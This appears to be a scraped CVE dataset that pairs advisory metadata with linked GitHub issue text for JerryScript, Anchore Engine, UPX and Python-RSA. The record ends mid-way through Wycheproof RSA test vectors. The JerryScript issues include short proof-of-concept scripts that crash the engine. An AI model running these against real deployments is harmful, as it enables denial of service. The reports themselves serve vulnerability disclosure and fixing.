[ { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/jerryscript-project/jerryscript/issues/3787" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/jerryscript-project/jerryscript/pull/3797" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://github.com/jerryscript-project/jerryscript/issues/3787" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://github.com/jerryscript-project/jerryscript/pull/3797" } ]

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[ "617" ]

617

https://github.com/jerryscript-project/jerryscript/issues/3787

[ "Third Party Advisory" ]

github.com

[ "jerryscript-project", "jerryscript" ]

###### JerryScript revision https://github.com/jerryscript-project/jerryscript/commit/6cd309b5252d15f3e3e6481c72a4d8fa7f9557a9 ###### Build platform Ubuntu 20.04 LTS (Linux 5.4.0-31-generic x86_64) ###### Build steps ```sh python tools/build.py --profile=es2015-subset --lto=off --compile-flag=-g \ --error-messages=on --debug --compile-flag=-g --strip=off --logging=on \ --compile-flag=-fsanitize=address --stack-limit=15 ``` ###### Test case ``` function main() { var v4 = [13.37,13.37,1337,13.37,13.37]; var v5 = new Proxy(JSON,v4); var v7 = Object.freeze(v5); var v8 = JSON / 13.37; var v9 = JSON.stringify(v7); } main(); ``` ###### Output ``` $ build/bin/jerry test.js ICE: Assertion 'ecma_is_value_string (value)' failed at /tmp/jerryscript/jerry-core/ecma/base/ecma-helpers-value.c(ecma_get_string_from_value):742. Error: ERR_FAILED_INTERNAL_ASSERTION Aborted (core dumped) ```

Assertion 'ecma_is_value_string (value)' failed at jerry-core/ecma/base/ecma-helpers-value.c(ecma_get_string_from_value):742

https://api.github.com/repos/jerryscript-project/jerryscript/issues/3787/comments

0

2020-05-23T17:53:33Z

2020-05-26T13:22:51Z

https://github.com/jerryscript-project/jerryscript/issues/3787

623,709,607

3,787

1,241

CVE-2020-13623

2020-05-27T00:15:11.557

JerryScript 2.2.0 allows attackers to cause a denial of service (stack consumption) via a proxy operation.

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[ "400" ]

400

https://github.com/jerryscript-project/jerryscript/issues/3785

[ "Exploit", "Third Party Advisory" ]

github.com

[ "jerryscript-project", "jerryscript" ]

###### JerryScript revision https://github.com/jerryscript-project/jerryscript/commit/6cd309b5252d15f3e3e6481c72a4d8fa7f9557a9 ###### Build platform Ubuntu 20.04 LTS (Linux 5.4.0-31-generic x86_64) ###### Build steps ```sh python tools/build.py --profile=es2015-subset --lto=off --compile-flag=-g \ --error-messages=on --debug --compile-flag=-g --strip=off --logging=on \ --compile-flag=-fsanitize=address ``` ###### Test cases ``` var v2 = {}; var v4 = new Proxy(Uint8Array,v2); v4.__proto__ = v4; v4[1] = 2; ``` ``` var v1 = {}; var v3 = new Proxy(parseFloat,v1); v3.__proto__ = v3; var v6 = "aa".constructor; var v7 = parseFloat & v6; ```

Stack Exhaustion (ecma_proxy_object_get, ecma_proxy_object_set)

https://api.github.com/repos/jerryscript-project/jerryscript/issues/3785/comments

3

2020-05-23T08:58:58Z

2020-05-26T07:44:39Z

https://github.com/jerryscript-project/jerryscript/issues/3785

623,613,918

3,785

1,242

CVE-2020-11075

2020-05-27T22:15:11.000

In Anchore Engine version 0.7.0, a specially crafted container image manifest, fetched from a registry, can be used to trigger a shell escape flaw in the anchore engine analyzer service during an image analysis process. The image analysis operation can only be executed by an authenticated user via a valid API request to anchore engine, or if an already added image that anchore is monitoring has its manifest altered to exploit the same flaw. A successful attack can be used to execute commands that run in the analyzer environment, with the same permissions as the user that anchore engine is run as - including access to the credentials that Engine uses to access its own database which have read-write ability, as well as access to the running engien analyzer service environment. By default Anchore Engine is released and deployed as a container where the user is non-root, but if users run Engine directly or explicitly set the user to 'root' then that level of access may be gained in the execution environment where Engine runs. This issue is fixed in version 0.7.1.

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[ "114" ]

114

https://github.com/anchore/anchore-engine/issues/430

[ "Patch", "Third Party Advisory" ]

github.com

[ "anchore", "anchore-engine" ]

In the anchore skopeo wrapper, as of 0.7.0, there is logic that supports multiple attempts to download an image from a registry using a combination of os override and destination type options. The initial implementation in 0.7.0 attempts to derive an os override option from the image manifest itself, but there are only a couple of overrides that are supported, so it would be better to explicitly enumerate them rather than attempting to use a field from the image manifest. This would have two benefits: 1) while the input is run through an internal command sanitizer, it may be possible for a string to be crafted to circumvent sanitization and cause incorrect/insecure call out to the skopeo command (e.g. potential for a command injection) 2) there are only a few known overrides that are supported, so there is no need for this field to be inferred from any input source, which would fail for any override other than the known set that are supported Suggested fix is to alter the code to use an explicit enumeration of the os override options that are supported by anchore/skopeo.

Ensure only supported os overrides are used in skopeo download commands

https://api.github.com/repos/anchore/anchore-engine/issues/430/comments

0

2020-04-22T22:33:27Z

2020-04-22T22:54:56Z

https://github.com/anchore/anchore-engine/issues/430

605,116,300

430

1,243

CVE-2019-20805

2020-06-01T14:15:09.977

p_lx_elf.cpp in UPX before 3.96 has an integer overflow during unpacking via crafted values in a PT_DYNAMIC segment.

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[ "190" ]

190

https://github.com/upx/upx/issues/317

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github.com

[ "upx", "upx" ]

ubuntu 1604 x32 //////////////////////////////////////////////////////////// ddos 1 attachment p_lx_elf.cpp^%1613 p_lx_elf.cpp:1613 unsigned const nbucket = get_te32(&hashtab[0]); crashes ///////////////////////////////////////////////////////////////////// ddos 2 attachment p_lx_elf.cpp^%1635 p_lx_elf.cpp:1635 unsigned const n_bucket = get_te32(&gashtab[0]); unsigned const n_bitmask = get_te32(&gashtab[2]); unsigned const gnu_shift = get_te32(&gashtab[3]); //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////// ddos 3 attachment p_lx_elf.cpp^%1839 p_lx_elf.cpp^%1839 unsigned const symnum = get_te32(&rel->r_info) >> [8]; //////////////////////////////////////////////////////////////////////////// find by topsec(hj) [upx.zip](https://github.com/upx/upx/files/3873925/upx.zip)

upx-devel ddos Vulnerability

https://api.github.com/repos/upx/upx/issues/317/comments

1

2019-11-21T09:32:01Z

2020-01-16T11:38:51Z

https://github.com/upx/upx/issues/317

526,469,669

317

1,246

CVE-2020-13757

2020-06-01T19:15:10.067

Python-RSA before 4.1 ignores leading '\0' bytes during decryption of ciphertext. This could conceivably have a security-relevant impact, e.g., by helping an attacker to infer that an application uses Python-RSA, or if the length of accepted ciphertext affects application behavior (such as by causing excessive memory allocation).

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327

https://github.com/sybrenstuvel/python-rsa/issues/146

[ "Issue Tracking", "Third Party Advisory" ]

github.com

[ "sybrenstuvel", "python-rsa" ]

Hello, Using this testcase from Google Wycheproof: ``` { "algorithm" : "RSAES-PKCS1-v1_5", "generatorVersion" : "0.8r12", "numberOfTests" : 65, "header" : [ "Test vectors of type RsaesPkcs1Decrypt are intended to check the decryption", "of RSA encrypted ciphertexts." ], "notes" : { "InvalidPkcs1Padding" : "This is a test vector with an invalid PKCS #1 padding. Implementations must ensure that different error conditions cannot be distinguished, since the information about the error condition can be used for a padding oracle attack. (RFC 8017 Section 7.2.2)" }, "schema" : "rsaes_pkcs1_decrypt_schema.json", "testGroups" : [ { "d" : "1a502d0eea6c7b69e21d5839101f705456ed0ef852fb47fe21071f54c5f33c8ceb066c62d727e32d26c58137329f89d3195325b795264c195d85472f7507dbd0961d2951f935a26b34f0ac24d15490e1128a9b7138915bc7dbfa8fe396357131c543ae9c98507368d9ceb08c1c6198a3eda7aea185a0e976cd42c22d00f003d9f19d96ea4c9afcbfe1441ccc802cfb0689f59d804c6a4e4f404c15174745ed6cb8bc88ef0b33ba0d2a80e35e43bc90f350052e72016e75b00d357a381c9c0d467069ca660887c987766349fcc43460b4aa516bce079edd87ba164307b752c277ed9528ad3ba0bf1877349ed3b7966a6c240110409bf4d0fade0c68fdadd847fd", "e" : "010001", "keysize" : 2048, "n" : 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"lql5jSUCY0ALtidzQogWJ-B87N-RGHsBuJ_0cxQYinwg-ySAAVbSyF1WZujfbO_5-YBN362A_1dn3lbswCnHK_bHF9-fZNqvwprPnceQj5oK1n4g6JSZNsy6GNAhosT-uwQ0misgR8SQE4W25dDGkdEYsz-BgCsyrCcu8J5C-tU", "dq" : "BVT0GwuH9opFcis74M9KseFlA0wakQAquPKenvni2rb-57JFW6-0IDfp0vflM_NIoUdBL9cggL58JjP12ALJHDnmvOzj5nXlmZUDPFVzcCDa2eizDQS4KK37kwStVKEaNaT1BwmHasWxGCNrp2pNfJopHdlgexad4dGCOFaRmZ8", "e" : "AQAB", "kid" : "none", "kty" : "RSA", "n" : "s1EKK81M5kTFtZSuUFnhKy8FS2WNXaWVmi_fGHG4CLw98-Yo0nkuUarVwSS0O9pFPcpc3kvPKOe9Tv-6DLS3Qru21aATy2PRqjqJ4CYn71OYtSwM_ZfSCKvrjXybzgu-sBmobdtYm-sppbdL-GEHXGd8gdQw8DDCZSR6-dPJFAzLZTCdB-Ctwe_RXPF-ewVdfaOGjkZIzDoYDw7n-OHnsYCYozkbTOcWHpjVevipR-IBpGPi1rvKgFnlcG6d_tj0hWRl_6cS7RqhjoiNEtxqoJzpXs_Kg8xbCxXbCchkf11STA8udiCjQWuWI8rcDwl69XMmHJjIQAqhKvOOQ8rYTQ", "p" : "7BJc834xCi_0YmO5suBinWOQAF7IiRPU-3G9TdhWEkSYquupg9e6K9lC5k0iP-t6I69NYF7-6mvXDTmv6Z01o6oV50oXaHeAk74O3UqNCbLe9tybZ_-FdkYlwuGSNttMQBzjCiVy0-y0-Wm3rRnFIsAtd0RlZ24aN3bFTWJINIs", "q" : "wnQqvNmJe9SwtnH5c_yCqPhKv1cF_4jdQZSGI6_p3KYNxlQzkHZ_6uvrU5V27ov6YbX8vKlKfO91oJFQxUD6lpTdgAStI3GMiJBJIZNpyZ9EWNSvwUj28H34cySpbZz3s4XdhiJBShgy-fKURvBQwtWmQHZJ3EGrcOI7PcwiyYc", "qi" : "HGQBidm_6MYjgzIQp2xCDG9E5ddg4lmRbOwq4rFWRWlg_ZXidHZgw4lWIlDwVQSc-rflwwOVSThKeiquscgk069wlIKoz5tYcCKgCx8HIttQ8zyybcIN0iRdUmXfYe4pg8k4whZ9zuEh_EtEecI35yjPYzq2CowOzQT85-O6pVk" }, "privateKeyPem" : "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAs1EKK81M5kTFtZSuUFnhKy8FS2WNXaWVmi/fGHG4CLw98+Yo\n0nkuUarVwSS0O9pFPcpc3kvPKOe9Tv+6DLS3Qru21aATy2PRqjqJ4CYn71OYtSwM\n/ZfSCKvrjXybzgu+sBmobdtYm+sppbdL+GEHXGd8gdQw8DDCZSR6+dPJFAzLZTCd\nB+Ctwe/RXPF+ewVdfaOGjkZIzDoYDw7n+OHnsYCYozkbTOcWHpjVevipR+IBpGPi\n1rvKgFnlcG6d/tj0hWRl/6cS7RqhjoiNEtxqoJzpXs/Kg8xbCxXbCchkf11STA8u\ndiCjQWuWI8rcDwl69XMmHJjIQAqhKvOOQ8rYTQIDAQABAoIBABpQLQ7qbHtp4h1Y\nORAfcFRW7Q74UvtH/iEHH1TF8zyM6wZsYtcn4y0mxYE3Mp+J0xlTJbeVJkwZXYVH\nL3UH29CWHSlR+TWiazTwrCTRVJDhEoqbcTiRW8fb+o/jljVxMcVDrpyYUHNo2c6w\njBxhmKPtp66hhaDpds1Cwi0A8APZ8Z2W6kya/L/hRBzMgCz7Bon1nYBMak5PQEwV\nF0dF7Wy4vIjvCzO6DSqA415DvJDzUAUucgFudbANNXo4HJwNRnBpymYIh8mHdmNJ\n/MQ0YLSqUWvOB57dh7oWQwe3UsJ37ZUorTugvxh3NJ7Tt5ZqbCQBEECb9ND63gxo\n/a3YR/0CgYEA7BJc834xCi/0YmO5suBinWOQAF7IiRPU+3G9TdhWEkSYquupg9e6\nK9lC5k0iP+t6I69NYF7+6mvXDTmv6Z01o6oV50oXaHeAk74O3UqNCbLe9tybZ/+F\ndkYlwuGSNttMQBzjCiVy0+y0+Wm3rRnFIsAtd0RlZ24aN3bFTWJINIsCgYEAwnQq\nvNmJe9SwtnH5c/yCqPhKv1cF/4jdQZSGI6/p3KYNxlQzkHZ/6uvrU5V27ov6YbX8\nvKlKfO91oJFQxUD6lpTdgAStI3GMiJBJIZNpyZ9EWNSvwUj28H34cySpbZz3s4Xd\nhiJBShgy+fKURvBQwtWmQHZJ3EGrcOI7PcwiyYcCgYEAlql5jSUCY0ALtidzQogW\nJ+B87N+RGHsBuJ/0cxQYinwg+ySAAVbSyF1WZujfbO/5+YBN362A/1dn3lbswCnH\nK/bHF9+fZNqvwprPnceQj5oK1n4g6JSZNsy6GNAhosT+uwQ0misgR8SQE4W25dDG\nkdEYsz+BgCsyrCcu8J5C+tUCgYAFVPQbC4f2ikVyKzvgz0qx4WUDTBqRACq48p6e\n+eLatv7nskVbr7QgN+nS9+Uz80ihR0Ev1yCAvnwmM/XYAskcOea87OPmdeWZlQM8\nVXNwINrZ6LMNBLgorfuTBK1UoRo1pPUHCYdqxbEYI2unak18mikd2WB7Fp3h0YI4\nVpGZnwKBgBxkAYnZv+jGI4MyEKdsQgxvROXXYOJZkWzsKuKxVkVpYP2V4nR2YMOJ\nViJQ8FUEnPq35cMDlUk4SnoqrrHIJNOvcJSCqM+bWHAioAsfByLbUPM8sm3CDdIk\nXVJl32HuKYPJOMIWfc7hIfxLRHnCN+coz2M6tgqMDs0E/OfjuqVZ\n-----END RSA PRIVATE KEY-----", "privateKeyPkcs8" : "308204bd020100300d06092a864886f70d0101010500048204a7308204a30201000282010100b3510a2bcd4ce644c5b594ae5059e12b2f054b658d5da5959a2fdf1871b808bc3df3e628d2792e51aad5c124b43bda453dca5cde4bcf28e7bd4effba0cb4b742bbb6d5a013cb63d1aa3a89e02627ef5398b52c0cfd97d208abeb8d7c9bce0bbeb019a86ddb589beb29a5b74bf861075c677c81d430f030c265247af9d3c9140ccb65309d07e0adc1efd15cf17e7b055d7da3868e4648cc3a180f0ee7f8e1e7b18098a3391b4ce7161e98d57af8a947e201a463e2d6bbca8059e5706e9dfed8f4856465ffa712ed1aa18e888d12dc6aa09ce95ecfca83cc5b0b15db09c8647f5d524c0f2e7620a3416b9623cadc0f097af573261c98c8400aa12af38e43cad84d0203010001028201001a502d0eea6c7b69e21d5839101f705456ed0ef852fb47fe21071f54c5f33c8ceb066c62d727e32d26c58137329f89d3195325b795264c195d85472f7507dbd0961d2951f935a26b34f0ac24d15490e1128a9b7138915bc7dbfa8fe396357131c543ae9c98507368d9ceb08c1c6198a3eda7aea185a0e976cd42c22d00f003d9f19d96ea4c9afcbfe1441ccc802cfb0689f59d804c6a4e4f404c15174745ed6cb8bc88ef0b33ba0d2a80e35e43bc90f350052e72016e75b00d357a381c9c0d467069ca660887c987766349fcc43460b4aa516bce079edd87ba164307b752c277ed9528ad3ba0bf1877349ed3b7966a6c240110409bf4d0fade0c68fdadd847fd02818100ec125cf37e310a2ff46263b9b2e0629d6390005ec88913d4fb71bd4dd856124498aaeba983d7ba2bd942e64d223feb7a23af4d605efeea6bd70d39afe99d35a3aa15e74a1768778093be0edd4a8d09b2def6dc9b67ff85764625c2e19236db4c401ce30a2572d3ecb4f969b7ad19c522c02d774465676e1a3776c54d6248348b02818100c2742abcd9897bd4b0b671f973fc82a8f84abf5705ff88dd41948623afe9dca60dc6543390767feaebeb539576ee8bfa61b5fcbca94a7cef75a09150c540fa9694dd8004ad23718c889049219369c99f4458d4afc148f6f07df87324a96d9cf7b385dd8622414a1832f9f29446f050c2d5a6407649dc41ab70e23b3dcc22c9870281810096a9798d250263400bb6277342881627e07cecdf91187b01b89ff47314188a7c20fb24800156d2c85d5666e8df6ceff9f9804ddfad80ff5767de56ecc029c72bf6c717df9f64daafc29acf9dc7908f9a0ad67e20e8949936ccba18d021a2c4febb04349a2b2047c4901385b6e5d0c691d118b33f81802b32ac272ef09e42fad50281800554f41b0b87f68a45722b3be0cf4ab1e165034c1a91002ab8f29e9ef9e2dab6fee7b2455bafb42037e9d2f7e533f348a147412fd72080be7c2633f5d802c91c39e6bcece3e675e59995033c55737020dad9e8b30d04b828adfb9304ad54a11a35a4f50709876ac5b118236ba76a4d7c9a291dd9607b169de1d182385691999f0281801c640189d9bfe8c623833210a76c420c6f44e5d760e259916cec2ae2b156456960fd95e2747660c389562250f055049cfab7e5c3039549384a7a2aaeb1c824d3af709482a8cf9b587022a00b1f0722db50f33cb26dc20dd2245d5265df61ee2983c938c2167dcee121fc4b4479c237e728cf633ab60a8c0ecd04fce7e3baa559", "type" : "RsaesPkcs1Decrypt", ``` ``` { "tcId" : 31, "comment" : "prepended bytes to ciphertext", "msg" : "54657374", "ct" : "00004501b4d669e01b9ef2dc800aa1b06d49196f5a09fe8fbcd037323c60eaf027bfb98432be4e4a26c567ffec718bcbea977dd26812fa071c33808b4d5ebb742d9879806094b6fbeea63d25ea3141733b60e31c6912106e1b758a7fe0014f075193faa8b4622bfd5d3013f0a32190a95de61a3604711bc62945f95a6522bd4dfed0a994ef185b28c281f7b5e4c8ed41176d12d9fc1b837e6a0111d0132d08a6d6f0580de0c9eed8ed105531799482d1e466c68c23b0c222af7fc12ac279bc4ff57e7b4586d209371b38c4c1035edd418dc5f960441cb21ea2bedbfea86de0d7861e81021b650a1de51002c315f1e7c12debe4dcebf790caaa54a2f26b149cf9e77d", "result" : "invalid", "flags" : [] }, ``` I found that python-rsa (I'm using python-rsa 4.0) does not detect if bytes "0" have been prepended to the ciphertext using 2048, 3072 and 4096 bit keys and it decrypts the ciphertext without error. However, python-rsa detects if bytes "0" have been appended to the ciphertext and does not decrypt the ciphertext. You can see this behaviour with 2048, 3072 and 4096 bit keys and the testvectors from Google Wycheproof below: 2048-bit test vector: ``` import rsa from rsa import PrivateKey import json """ { "algorithm" : "RSAES-PKCS1-v1_5", "generatorVersion" : "0.8r12", "numberOfTests" : 65, "header" : [ "Test vectors of type RsaesPkcs1Decrypt are intended to check the decryption", "of RSA encrypted ciphertexts." ], "notes" : { "InvalidPkcs1Padding" : "This is a test vector with an invalid PKCS #1 padding. Implementations must ensure that different error conditions cannot be distinguished, since the information about the error condition can be used for a padding oracle attack. (RFC 8017 Section 7.2.2)" }, "schema" : "rsaes_pkcs1_decrypt_schema.json", "testGroups" : [ { "d" : "1a502d0eea6c7b69e21d5839101f705456ed0ef852fb47fe21071f54c5f33c8ceb066c62d727e32d26c58137329f89d3195325b795264c195d85472f7507dbd0961d2951f935a26b34f0ac24d15490e1128a9b7138915bc7dbfa8fe396357131c543ae9c98507368d9ceb08c1c6198a3eda7aea185a0e976cd42c22d00f003d9f19d96ea4c9afcbfe1441ccc802cfb0689f59d804c6a4e4f404c15174745ed6cb8bc88ef0b33ba0d2a80e35e43bc90f350052e72016e75b00d357a381c9c0d467069ca660887c987766349fcc43460b4aa516bce079edd87ba164307b752c277ed9528ad3ba0bf1877349ed3b7966a6c240110409bf4d0fade0c68fdadd847fd", "e" : "010001", "keysize" : 2048, "n" : "00b3510a2bcd4ce644c5b594ae5059e12b2f054b658d5da5959a2fdf1871b808bc3df3e628d2792e51aad5c124b43bda453dca5cde4bcf28e7bd4effba0cb4b742bbb6d5a013cb63d1aa3a89e02627ef5398b52c0cfd97d208abeb8d7c9bce0bbeb019a86ddb589beb29a5b74bf861075c677c81d430f030c265247af9d3c9140ccb65309d07e0adc1efd15cf17e7b055d7da3868e4648cc3a180f0ee7f8e1e7b18098a3391b4ce7161e98d57af8a947e201a463e2d6bbca8059e5706e9dfed8f4856465ffa712ed1aa18e888d12dc6aa09ce95ecfca83cc5b0b15db09c8647f5d524c0f2e7620a3416b9623cadc0f097af573261c98c8400aa12af38e43cad84d", "privateKeyJwk" : { "alg" : "RSA1_5", "d" : "GlAtDupse2niHVg5EB9wVFbtDvhS-0f-IQcfVMXzPIzrBmxi1yfjLSbFgTcyn4nTGVMlt5UmTBldhUcvdQfb0JYdKVH5NaJrNPCsJNFUkOESiptxOJFbx9v6j-OWNXExxUOunJhQc2jZzrCMHGGYo-2nrqGFoOl2zULCLQDwA9nxnZbqTJr8v-FEHMyALPsGifWdgExqTk9ATBUXR0XtbLi8iO8LM7oNKoDjXkO8kPNQBS5yAW51sA01ejgcnA1GcGnKZgiHyYd2Y0n8xDRgtKpRa84Hnt2HuhZDB7dSwnftlSitO6C_GHc0ntO3lmpsJAEQQJv00PreDGj9rdhH_Q", "dp" : "lql5jSUCY0ALtidzQogWJ-B87N-RGHsBuJ_0cxQYinwg-ySAAVbSyF1WZujfbO_5-YBN362A_1dn3lbswCnHK_bHF9-fZNqvwprPnceQj5oK1n4g6JSZNsy6GNAhosT-uwQ0misgR8SQE4W25dDGkdEYsz-BgCsyrCcu8J5C-tU", "dq" : "BVT0GwuH9opFcis74M9KseFlA0wakQAquPKenvni2rb-57JFW6-0IDfp0vflM_NIoUdBL9cggL58JjP12ALJHDnmvOzj5nXlmZUDPFVzcCDa2eizDQS4KK37kwStVKEaNaT1BwmHasWxGCNrp2pNfJopHdlgexad4dGCOFaRmZ8", "e" : "AQAB", "kid" : "none", "kty" : "RSA", "n" : "s1EKK81M5kTFtZSuUFnhKy8FS2WNXaWVmi_fGHG4CLw98-Yo0nkuUarVwSS0O9pFPcpc3kvPKOe9Tv-6DLS3Qru21aATy2PRqjqJ4CYn71OYtSwM_ZfSCKvrjXybzgu-sBmobdtYm-sppbdL-GEHXGd8gdQw8DDCZSR6-dPJFAzLZTCdB-Ctwe_RXPF-ewVdfaOGjkZIzDoYDw7n-OHnsYCYozkbTOcWHpjVevipR-IBpGPi1rvKgFnlcG6d_tj0hWRl_6cS7RqhjoiNEtxqoJzpXs_Kg8xbCxXbCchkf11STA8udiCjQWuWI8rcDwl69XMmHJjIQAqhKvOOQ8rYTQ", "p" : "7BJc834xCi_0YmO5suBinWOQAF7IiRPU-3G9TdhWEkSYquupg9e6K9lC5k0iP-t6I69NYF7-6mvXDTmv6Z01o6oV50oXaHeAk74O3UqNCbLe9tybZ_-FdkYlwuGSNttMQBzjCiVy0-y0-Wm3rRnFIsAtd0RlZ24aN3bFTWJINIs", "q" : "wnQqvNmJe9SwtnH5c_yCqPhKv1cF_4jdQZSGI6_p3KYNxlQzkHZ_6uvrU5V27ov6YbX8vKlKfO91oJFQxUD6lpTdgAStI3GMiJBJIZNpyZ9EWNSvwUj28H34cySpbZz3s4XdhiJBShgy-fKURvBQwtWmQHZJ3EGrcOI7PcwiyYc", "qi" : "HGQBidm_6MYjgzIQp2xCDG9E5ddg4lmRbOwq4rFWRWlg_ZXidHZgw4lWIlDwVQSc-rflwwOVSThKeiquscgk069wlIKoz5tYcCKgCx8HIttQ8zyybcIN0iRdUmXfYe4pg8k4whZ9zuEh_EtEecI35yjPYzq2CowOzQT85-O6pVk" }, "privateKeyPem" : "-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEAs1EKK81M5kTFtZSuUFnhKy8FS2WNXaWVmi/fGHG4CLw98+Yo\n0nkuUarVwSS0O9pFPcpc3kvPKOe9Tv+6DLS3Qru21aATy2PRqjqJ4CYn71OYtSwM\n/ZfSCKvrjXybzgu+sBmobdtYm+sppbdL+GEHXGd8gdQw8DDCZSR6+dPJFAzLZTCd\nB+Ctwe/RXPF+ewVdfaOGjkZIzDoYDw7n+OHnsYCYozkbTOcWHpjVevipR+IBpGPi\n1rvKgFnlcG6d/tj0hWRl/6cS7RqhjoiNEtxqoJzpXs/Kg8xbCxXbCchkf11STA8u\ndiCjQWuWI8rcDwl69XMmHJjIQAqhKvOOQ8rYTQIDAQABAoIBABpQLQ7qbHtp4h1Y\nORAfcFRW7Q74UvtH/iEHH1TF8zyM6wZsYtcn4y0mxYE3Mp+J0xlTJbeVJkwZXYVH\nL3UH29CWHSlR+TWiazTwrCTRVJDhEoqbcTiRW8fb+o/jljVxMcVDrpyYUHNo2c6w\njBxhmKPtp66hhaDpds1Cwi0A8APZ8Z2W6kya/L/hRBzMgCz7Bon1nYBMak5PQEwV\nF0dF7Wy4vIjvCzO6DSqA415DvJDzUAUucgFudbANNXo4HJwNRnBpymYIh8mHdmNJ\n/MQ0YLSqUWvOB57dh7oWQwe3UsJ37ZUorTugvxh3NJ7Tt5ZqbCQBEECb9ND63gxo\n/a3YR/0CgYEA7BJc834xCi/0YmO5suBinWOQAF7IiRPU+3G9TdhWEkSYquupg9e6\nK9lC5k0iP+t6I69NYF7+6mvXDTmv6Z01o6oV50oXaHeAk74O3UqNCbLe9tybZ/+F\ndkYlwuGSNttMQBzjCiVy0+y0+Wm3rRnFIsAtd0RlZ24aN3bFTWJINIsCgYEAwnQq\nvNmJe9SwtnH5c/yCqPhKv1cF/4jdQZSGI6/p3KYNxlQzkHZ/6uvrU5V27ov6YbX8\nvKlKfO91oJFQxUD6lpTdgAStI3GMiJBJIZNpyZ9EWNSvwUj28H34cySpbZz3s4Xd\nhiJBShgy+fKURvBQwtWmQHZJ3EGrcOI7PcwiyYcCgYEAlql5jSUCY0ALtidzQogW\nJ+B87N+RGHsBuJ/0cxQYinwg+ySAAVbSyF1WZujfbO/5+YBN362A/1dn3lbswCnH\nK/bHF9+fZNqvwprPnceQj5oK1n4g6JSZNsy6GNAhosT+uwQ0misgR8SQE4W25dDG\nkdEYsz+BgCsyrCcu8J5C+tUCgYAFVPQbC4f2ikVyKzvgz0qx4WUDTBqRACq48p6e\n+eLatv7nskVbr7QgN+nS9+Uz80ihR0Ev1yCAvnwmM/XYAskcOea87OPmdeWZlQM8\nVXNwINrZ6LMNBLgorfuTBK1UoRo1pPUHCYdqxbEYI2unak18mikd2WB7Fp3h0YI4\nVpGZnwKBgBxkAYnZv+jGI4MyEKdsQgxvROXXYOJZkWzsKuKxVkVpYP2V4nR2YMOJ\nViJQ8FUEnPq35cMDlUk4SnoqrrHIJNOvcJSCqM+bWHAioAsfByLbUPM8sm3CDdIk\nXVJl32HuKYPJOMIWfc7hIfxLRHnCN+coz2M6tgqMDs0E/OfjuqVZ\n-----END RSA PRIVATE KEY-----", "privateKeyPkcs8" : "308204bd020100300d06092a864886f70d0101010500048204a7308204a30201000282010100b3510a2bcd4ce644c5b594ae5059e12b2f054b658d5da5959a2fdf1871b808bc3df3e628d2792e51aad5c124b43bda453dca5cde4bcf28e7bd4effba0cb4b742bbb6d5a013cb63d1aa3a89e02627ef5398b52c0cfd97d208abeb8d7c9bce0bbeb019a86ddb589beb29a5b74bf861075c677c81d430f030c265247af9d3c9140ccb65309d07e0adc1efd15cf17e7b055d7da3868e4648cc3a180f0ee7f8e1e7b18098a3391b4ce7161e98d57af8a947e201a463e2d6bbca8059e5706e9dfed8f4856465ffa712ed1aa18e888d12dc6aa09ce95ecfca83cc5b0b15db09c8647f5d524c0f2e7620a3416b9623cadc0f097af573261c98c8400aa12af38e43cad84d0203010001028201001a502d0eea6c7b69e21d5839101f705456ed0ef852fb47fe21071f54c5f33c8ceb066c62d727e32d26c58137329f89d3195325b795264c195d85472f7507dbd0961d2951f935a26b34f0ac24d15490e1128a9b7138915bc7dbfa8fe396357131c543ae9c98507368d9ceb08c1c6198a3eda7aea185a0e976cd42c22d00f003d9f19d96ea4c9afcbfe1441ccc802cfb0689f59d804c6a4e4f404c15174745ed6cb8bc88ef0b33ba0d2a80e35e43bc90f350052e72016e75b00d357a381c9c0d467069ca660887c987766349fcc43460b4aa516bce079edd87ba164307b752c277ed9528ad3ba0bf1877349ed3b7966a6c240110409bf4d0fade0c68fdadd847fd02818100ec125cf37e310a2ff46263b9b2e0629d6390005ec88913d4fb71bd4dd856124498aaeba983d7ba2bd942e64d223feb7a23af4d605efeea6bd70d39afe99d35a3aa15e74a1768778093be0edd4a8d09b2def6dc9b67ff85764625c2e19236db4c401ce30a2572d3ecb4f969b7ad19c522c02d774465676e1a3776c54d6248348b02818100c2742abcd9897bd4b0b671f973fc82a8f84abf5705ff88dd41948623afe9dca60dc6543390767feaebeb539576ee8bfa61b5fcbca94a7cef75a09150c540fa9694dd8004ad23718c889049219369c99f4458d4afc148f6f07df87324a96d9cf7b385dd8622414a1832f9f29446f050c2d5a6407649dc41ab70e23b3dcc22c9870281810096a9798d250263400bb6277342881627e07cecdf91187b01b89ff47314188a7c20fb24800156d2c85d5666e8df6ceff9f9804ddfad80ff5767de56ecc029c72bf6c717df9f64daafc29acf9dc7908f9a0ad67e20e8949936ccba18d021a2c4febb04349a2b2047c4901385b6e5d0c691d118b33f81802b32ac272ef09e42fad50281800554f41b0b87f68a45722b3be0cf4ab1e165034c1a91002ab8f29e9ef9e2dab6fee7b2455bafb42037e9d2f7e533f348a147412fd72080be7c2633f5d802c91c39e6bcece3e675e59995033c55737020dad9e8b30d04b828adfb9304ad54a11a35a4f50709876ac5b118236ba76a4d7c9a291dd9607b169de1d182385691999f0281801c640189d9bfe8c623833210a76c420c6f44e5d760e259916cec2ae2b156456960fd95e2747660c389562250f055049cfab7e5c3039549384a7a2aaeb1c824d3af709482a8cf9b587022a00b1f0722db50f33cb26dc20dd2245d5265df61ee2983c938c2167dcee121fc4b4479c237e728cf633ab60a8c0ecd04fce7e3baa559", "type" : "RsaesPkcs1Decrypt", """ """ "tcId" : 31, "comment" : "prepended bytes to ciphertext", "msg" : "54657374", "ct" : 